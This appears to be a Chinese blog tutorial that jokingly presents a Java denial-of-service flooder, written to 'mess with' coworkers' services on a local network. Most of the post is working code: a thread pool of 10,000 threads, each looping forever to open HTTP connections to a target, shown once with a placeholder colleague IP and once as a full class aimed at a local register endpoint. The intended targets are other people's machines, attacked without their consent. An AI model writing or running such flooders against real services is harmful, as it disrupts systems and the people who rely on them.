这是一个目录↓
利用.net对你的同事搞事情
这几天一直在看DOS 与DDOS 突然灵机一动(恶向胆边生),不如自己写一个去霍霍同事 [偷笑] 于是开始了我拯救迷途少年的生涯(我就是,不一样的垃圾代码制造者)
思路:
- 链接他的服务
- 发送链接占用其内存资源(链接上了,进行无意义对话)
- 无限重复第二部(没错,我就是我,杀敌一千自损八百的我)
对.net下 URL 与 URLConnection 有一定的了解(网上随意看一会)
对.util.concurrent 下的 连接池有一定了解 (不用多,会用就行)
实施:
- 创建一个main类
public class ByExecutorsDoneDOS {
//好了 咱们去运行一下,开始对同事进行"友好"交流吧
public static void main(String[] args){
}
}
- 实例化连接池
//我主要供两种类型
ExecutorService executorService = Executors.newCachedThreadPool(); //温和无刺激
ExecutorService executorService = Executors.newFixedThreadPool(10000); //劲爽紧肤型
- 开打开打(武器大师开场白)
for (int i = 0; i < COUNT; i++) {
executorService.execute(new Thread(() -> {
for (; ; ) {
try {
URL url = new URL("http://需要调教的ip/");
URLConnection conn = url.openConnection();
BufferedInputStream bis = new BufferedInputStream(
conn.getInputStream());
if (bis != null) {
if (bis.read() != -1) {
bis.close();
}
}
} catch (Exception e) {
System.out.println("-");
}
}
}));
}
就是这么简单 (粗暴直接,没有中间商转差价!!!)
另附完整的代码(闹着玩的…)
package com.example.DOS;/**
* @author ChenZS
* @date 2019-1-28
*/
import java.io.BufferedInputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.*;
/**
* 利用线程池对局域网内服务进行DOS攻击(就是人多,打你你也得挺着)
* 创建虚拟URL链接请求,并利用大量线程访问,占用带宽 (泛洪攻击)
* 1.创建线程池(newFixedThreadPool)固定数量或随意(newCachedThreadPool)
* 2.实例化线程(Thread)
* - 2.1 重写run
* - 2.2 实例化 URL(java.net.URL) 与 URLConnection (同 .net 包下)
* - 2.3 读流的字节 有响应就有效(http挂上了)
*/
public class ByExecutorsDoneDOS {
private static final Integer COUNT = 10000;
private static final String URL = "http://127.0.0.1:20001/register";
public static void main(String[] args) throws Exception{
System.out.println("开始");
// ExecutorService executorService = Executors.newCachedThreadPool(); //温和无刺激
ExecutorService executorService = Executors.newFixedThreadPool(COUNT); //劲爽紧肤型
/*
Thread th1 = new Thread( () ->{
while (true) {
try {
Thread.sleep(5 * 1000);
System.out.println("召唤GC ---------->");
Runtime.getRuntime().gc();
} catch (InterruptedException e) {
}
}
});
th1.start();
*/
for (int i = 0; i < COUNT; i++) {
executorService.execute(new Thread(() -> {
for (; ; ) {
try {
URL url = new URL(URL);
URLConnection conn = url.openConnection();
BufferedInputStream bis = new BufferedInputStream(
conn.getInputStream());
if (bis != null)
if (bis.read() != -1)
bis.close();
} catch (Exception e) {
System.out.println("--------------------------------like a error !---------------------------------> ");
}
}
}));
}
}
}